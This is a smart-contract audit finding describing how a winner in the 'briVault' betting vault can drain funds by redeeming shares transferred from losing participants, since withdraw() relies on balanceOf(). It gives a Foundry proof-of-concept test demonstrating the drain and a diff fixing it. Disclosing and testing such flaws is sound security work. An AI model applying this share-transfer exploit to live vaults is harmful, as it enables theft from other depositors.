Winner can drain vault by withdrawing transferred shares from losers
Description
Participants who selected the winning country should be able to withdraw rewards proportional to their own deposit shares. This ensures the vault distributes assets fairly among legitimate winners only. However, in the current implementation, withdraw() function calculates user's entitlement using balanceOf() which includes transferable ERC4626 shares. Thus, a winning user can receive shares from losing participants via ERC20 transfer() and redeem them for rewards. This allows allows a malicious winner to withdraw the entire vault balance, including the portion belonging to losing participants.
Risk
Likelihood: High
Any participant in the winning country can exploit this by receiving transferred shares from other users after the winner is set.
Impact: High
Winners can redeem shares not tied to their original participation, depriving legitimate winners of their rightful rewards.
Proof of Concept
The following test case proves the statement
function test_winner_can_redeem_loser_shares() public {
vm.startPrank(user1);
mockToken.approve(address(briVault), 1 ether);
briVault.deposit(1 ether, user1);
vm.stopPrank();
vm.startPrank(user2);
mockToken.approve(address(briVault), 1 ether);
briVault.deposit(1 ether, user2);
vm.stopPrank();
vm.startPrank(user3);
mockToken.approve(address(briVault), 1 ether);
briVault.deposit(1 ether, user3);
vm.stopPrank();
uint256 sharesUser1 = briVault.balanceOf(user1);
uint256 sharesUser2 = briVault.balanceOf(user2);
uint256 sharesUser3 = briVault.balanceOf(user3);
assertEq(sharesUser1, 0.985 ether);
assertEq(sharesUser2, 0.985 ether);
assertEq(sharesUser3, 0.985 ether);
vm.prank(user1);
briVault.joinEvent(1);
vm.prank(user2);
briVault.joinEvent(1);
vm.prank(user3);
briVault.joinEvent(2);
vm.warp(eventEndDate + 1);
vm.prank(owner);
briVault.setWinner(1);
vm.prank(user3);
briVault.transfer(user1, sharesUser3);
assertEq(briVault.balanceOf(user1), 0.985 ether * 2 );
assertEq(briVault.balanceOf(user2), 0.985 ether);
assertEq(briVault.balanceOf(user3), 0 ether);
assertEq(briVault.totalAssets(), 2.955 ether);
assertEq(mockToken.balanceOf(user1), 19 ether);
vm.prank(user1);
briVault.withdraw();
assertEq(mockToken.balanceOf(user1), 19 ether + 2.955 ether);
assertEq( briVault.totalAssets(), 0);
}
Recommended Mitigation
The protocol already keeps track of the shares placed from the user to a country which can be used instead of balanceOf
function withdraw() external winnerSet {
if (block.timestamp < eventEndDate) {
revert eventNotEnded();
}
if (keccak256(abi.encodePacked(userToCountry[msg.sender])) != keccak256(abi.encodePacked(winner))) {
revert didNotWin();
}
- uint256 shares = balanceOf(msg.sender);
+ uint256 shares = userSharesToCountry[msg.sender][winnerCountryId];
uint256 vaultAsset = finalizedVaultAsset;
uint256 assetToWithdraw = Math.mulDiv(shares, vaultAsset, totalWinnerShares);
_burn(msg.sender, shares);
IERC20(asset()).safeTransfer(msg.sender, assetToWithdraw);
emit Withdraw(msg.sender, assetToWithdraw);
}
